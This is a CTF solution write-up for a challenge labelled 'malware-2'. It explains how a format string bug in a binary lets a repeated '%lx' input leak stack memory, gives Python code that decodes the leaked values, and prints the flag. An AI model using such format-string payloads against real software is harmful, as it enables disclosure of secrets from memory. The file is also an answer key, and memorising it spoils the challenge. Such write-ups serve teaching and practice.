write-ups-challenges-2023-2024/malware-2/SOLUTION.md

Difficulty

50/100

Category

exploitation

How To Solve

This binary contains a format string exploit. This can be used to leak stack memory. Since the flag is read into memory you can pass a format string to the binary and leak all memory. A string like this would work %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx. You can then use python to take this memory and convert it to a string.

dump = [0x63537b4654434749, 0x64316b5f74703172, 0x3352615f73333164, 0x7d336d346c5f]

bs = b""
for b in dump:
    bs += b.to_bytes(8, 'little');

print(bs)

Hints

n/a

Flag

IGCTF{Scr1pt_k1dd13s_aR3_l4m3}